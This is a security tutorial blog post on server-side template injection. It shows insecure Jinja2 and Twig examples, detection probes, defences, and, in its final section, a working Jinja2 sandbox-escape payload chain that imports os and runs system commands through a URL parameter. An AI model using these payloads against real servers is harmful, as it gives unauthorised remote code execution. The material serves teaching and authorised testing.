Blame the Temp{{late}}

From Twig and ERB to Jinja2, templates are an essential for modern web development. This week we'll uncover the intricacies of Server-Side Template Injection as we explore what it is, how to identify it, common protection methods, and even examine a Python sandbox escape to bypass those protection!

What is Server-Side Template Injection?

Server-Side Template Injection (SSTI) is a vulnerability that occurs when an adversary is able to supply data to a server that concatenates the input into a template. When this input is then rendered by a template engine, it’s treated as an intended part of the template and is processed as code. This leads to an immediate ability for an adversary to achieve remote code execution (RCE) in whatever programming language is supported by the vulnerable template.

Similar to SQL Injection, SSTI results from the application being unable to differentiate data and code. To this end, SSTI is easily identifiable in a white box testing environment, as you’re able to directly audit the implementation of templates and can confirm if best practices were followed. While this will look different depending on the specific programing languages and template engines in use, notable patterns exist.

When are Templates Vulnerable?

To better understand these patterns and why they make a template vulnerable, let’s take a look at two different template engines and how they securely and insecurely handle a web application that includes the name of the current user in the current page.

Jinja2:

The first template engine we’ll look at is Jinja2, a popular choice for Python templates.

# Example 1 - Secure
from jinja2 import Template
with open("template.jinja") as f:
    temp=Template(f.read())
print(temp.render(Username = user_input.name))
# Example 2 - Insecure
from jinja2 import Template 
temp = Template("<html><h1>Welcome, " + user_input.name + "</h1></html>")
print(temp.render())

While the two examples look similar, the key distinction lies in how temp.render() is called. In our first example, we can see that the content of template.jinja is read into the variable, temp. Then, when the template is being rendered, the user input is substituted into the templates placeholders – for example, user_input.name is being used to replace the placeholder, Username.

This differs from the second example where the template is being built dynamically. In this example, temp is created as a template string with user_input.name being already concatenated into it. When this is then passed off to temp.render(), the engine has no way to identify what parts of the concatenated string were user input, and instead treats everything as code to be rendered.

Twig:

Now, let’s look at this same example in Twig, a template engine for PHP.

# Example 3 - Secure
$output = $twig->render("Welcome, {Username} ", array("Username" => $user.Username));
# Example 4 - Insecure
$output = $twig->render("Welcome, " . $_GET['Username']);

Similar to our example with Jinja2, the key distinction between these two examples is how user input is kept separate from the template itself, with the first example using a placeholder structure, and the second example concatenating user input directly into the template.

Finding Patterns:

The cornerstone of template injection will often be mistakes in implementation that result in the application being unable to tell user input apart from the actual template it’s meant to render. That said, applications exist that allow administrators to create their own templates as an intended feature. If an unauthorized user is able to access this functionality, it can often lead to full RCE.


Finding SSTI:

The first steps in finding SSTI are to identify where templates are used within an application and to determine what controllable input is passed into them. It’s important to remember that templates are often used to generate dynamic pages that follow set patterns. These pages tend to be cookie-cutter in nature, as the overarching structure of the page will always be the original template.
Common locations where templates are used include:

  • Headers and Footers
  • Forms
  • Error Pages
  • User Profiles

Understand the Engine:

Once we’ve identified endpoints that rely on templates, our goal should be to understand how user-input is processed within the template. Assuming we don’t have access to the source code itself, our primary testing methods will be to test for errors, and to test for evaluation.

Testing for Errors:

Arguably the most straightforward method of testing for SSTI, we can attempt to coerce the template engine into throwing an error in the hopes that the error message will assist us in identifying what’s going on behind the scenes. This also has the benefit of helping us identify what syntax the engine recognizes, and from there, identifying the engine itself.

To help us save time while testing, we can use a polyglot payload that contains valid syntax for many different template engines, as if any of the included template syntax are recognized, it’s likely to throw an error:

{{1+test}}${1+test}<%1+test%>
  • {{1+test}} : Will be recognized by PHP templates such as Smarty and Twig, as well as Python templates like Jinja2
  • ${1+test} : Will be recognized by Java templates such as FreeMarker and Thymeleaf
  • <%1+test%> : Will be recognized by the Embedded Ruby Template (ERB)

As our test variable is unlikely to exist in the template natively, attempting to resolve it should cause the engine to return an error. If this error is not handled internally and is instead revealed to us, we can confirm that we’ve found an opportunity for SSTI. Our next step would be to isolate which templating language caused the error, and to figure out what programming language the application is using as a result.

Testing for Evaluation:

If the application does not return an error to us, we can instead test it for evaluation. Here, our goal will be to successfully inject an expression into the template and see if it’s executed by the server. The classic example of this testing is, {{7*7}}, where the server executes a simple arithmetic on our behalf and returns 49 in the generated page as a result. To this end, we’ll provide multiple test payloads one-by-one to the application and look for our expected result in the response:

{{7*7}}
${7*7}
<%7*7%>
7*7

It’s worth noting that the last line in the above payload list doesn’t have any special syntax around it. In the case that the template string is prepared to encapsulate user input upon concatenation, there exists the chance that the needed syntax is already hardcoded into the string. In such a situation, adding additional syntax would likely result in an error, and we would miss finding a valid vulnerability!

Second-Order Injection:

As with all of the other injection methods we’ve covered on For Fox Sake, it’s important to consider second-order injections for SSTI as well. If we see an input that we previously controlled incorporated into a template, it’s worth seeing if it can be used as our point of injection. Just because we aren’t immediately returned confirmation that our SSTI was successful doesn’t mean that it has failed.


Preventing SSTI:

Update Often:

As template engines are third-party software, the most reliable way to prevent SSTI is to ensure you’re sticking to a regular patching and updating schedule. Many template engines publish their own mitigations against SSTI vulnerabilities, and keeping your libraries up to date is likely to be what prevents a would-be vulnerability.

Validate & Sanitize Input:

Proper defense-in-depth would also have us ensure that we're validate user input to prevent them from supplying templates of their own. We should then ensure we're sanitizing any input that could've been modified by a user before we embed it into a template.

Engine Sandboxes:

In some situations, allowing users (or administrators) to supply input containing templates is intentional, a feature even. To meet these situations, many template engines provide a hardened sandbox environment in which they can safely handle user input. These help to remove potentially dangerous modules and functions, making user-submitted templates safer to evaluate.

Allowlists:

In conjunction with our sandboxes, implementing an allowlist of specific attributes that we expect to be used within user-submitted templates may also help prevent RCE, and should be considered.

Descriptive Errors:

As we mentioned in our section on Testing for Errors, template engines will occasionally return descriptive errors that help an adversary understand what's happening in the source code. When possible, these errors should be handled internally, and a generic error page returned to the user instead.


Bypassing SSTI Protections:

Fortunately (and unfortunately), the most effective prevention of SSTI vulnerabilities is to follow secure development practices. This means that if the code is well implemented, there is unlikely to be any way for us to find a workaround. That said, let’s explore our options in the event that the code isn’t secure, or must allow for templates.

Input with Care:

The most straightforward protection against injection attacks, input validation and sanitization can stop an injection attack before it ever begins. Our goal in bypassing input protections will be to identify how the validation mechanism is identifying and removing our code. To this end, we can try testing:

  • Is the application recursively removing special characters?
  • Are there alternative syntax structures in the template language?
  • Can we segment our payload such that the application recombines it for us?

While these are all very case-by-case tests, it’s always worth maintaining our creativity. The developer is human as well and could potentially have left an opening for us to exploit.


Escalating SSTI:

7*7 to RCE:

While demonstrating a successful 7*7 does show that we have SSTI, it's not quite an impactful POC. In order to ensure we've captured the severity of the vulnerability we should take the time to probe further and see what's possible via our found injection point. The following code snippets largely come from the book, Bug Bounty Bootcamp, by Vickie Li, and demonstrate the methodology we can use to bypass the sandbox-like restrictions of template engines.

Injection to RCE:

For the following example, we’ll assume that we’re targeting a python application that uses Jinja2 templates. This application is vulnerable to SSTI, but follows Jinja2 sandbox defaults, preventing access to potentially harmful modules such as includes, os, and more. Our vulnerable Python snippet will look as follows:

from jinja2 import Template
tmpl = Template("<html><h1>The user's name is: " + user_input + "</h1></html>")
print(tmpl.render())

Let’s assume that user_input comes from a URL parameter, name, and a request to the server would look as follows:

GET /display_name?name=Erubius

If we want to bypass the protections in place, we’ll have to find a workaround to access these restricted modules. To this end, we’ll need to rely on what’s already available to us as a part of the Python built-in functionality. The following request makes use of various Python built-ins to return to us a list of classes that the code snippet is able to use.

GET /display_name?name={{[].__class__.__bases__[0].__subclasses__()]}}

This function works by accessing the class of an empty list, list, it then refers to the first base class of list , object. Finally, it returns all of the available subclasses within object. Effectively, this will list all of the available subclasses within the sandbox, and we’re able to search through the provided list to look for one that will allow us to achieve RCE. Remember that every Python environment will likely have different classes available within them. Moreover, just because a payload works in one environment does not guarantee that it will in any other.

Getting Back to Import:

One of the easiest ways to achieve our goal is to find a way back to Python’s built-in function, __import__. While direct access to this function is blocked by Jinja2’s sandbox, we can build off of our previous request to find a different way to access it. Thankfully, Python has just the workaround we need via the __builtins__ attribute that’s included in most modules.

Our goal at this stage will be to identify a subclass that we can access that is able to reach __builtins__, in the Bug Bounty Bootcamp example, this is the catch_warnings class, and we can reach it with the following loop:

{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'catch_warnings' in x.__name__ %}
{{x()}}
{%endif%}
{%endfor%}

By using the _module attribute of catch_warnings, we’re able to reach __builtins__:

{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'catch_warnings' in x.__name__ %}
{{x()._module.__builtins__}}
{%endif%}
{%endfor%}

With access to Python’s built-in functions restored, we’re able to bypass Jinja2’s protections and use __import__ to import the os library.

{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'catch_warnings' in x.__name__ %}
{{x()._module.__builtins__['__import__']('os')}}
{%endif%}
{%endfor%}

And finally, we can use the system function of os to achieve command execution.

{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'catch_warnings' in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').system('ls')}}
{%endif%}
{%endfor%}
GET /display_name?name={% for x in [].__class__.__bases__[0].__subclasses__() %}{% if 'catch_warnings' in x.__name__ %}{{x()._module.__builtins__['__import__']('os').system('ls')}}{%endif%}{%endfor%}